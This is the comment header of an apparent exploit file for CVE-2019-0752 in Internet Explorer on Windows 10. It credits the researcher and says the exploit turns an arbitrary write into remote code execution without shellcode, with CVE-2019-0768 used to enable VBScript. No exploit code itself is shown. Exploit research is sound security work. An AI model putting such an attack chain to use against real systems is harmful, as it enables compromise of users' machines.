<!-- Full exploit of ZDI-19-359/ZDI-CAN-7757/CVE-2019-0752 -->
<!-- Target: Internet Explorer, Windows 10 1809 17763.316 (Feb. 2019 patch level) -->
<!-- Vulnerability and original exploit technique by Simon Zuckerbraun (@HexKitchen), Mar. 2019 -->
<!-- Tgroupcrew@gmail.com -->
<!-- Demonstrates taking an arbitrary write primitive with no info leak, and using it to get -->
<!-- all the way to RCE using no shellcode. -->
<!-- Note use of CVE-2019-0768 to get VBScript to run on IE/Win10. -->
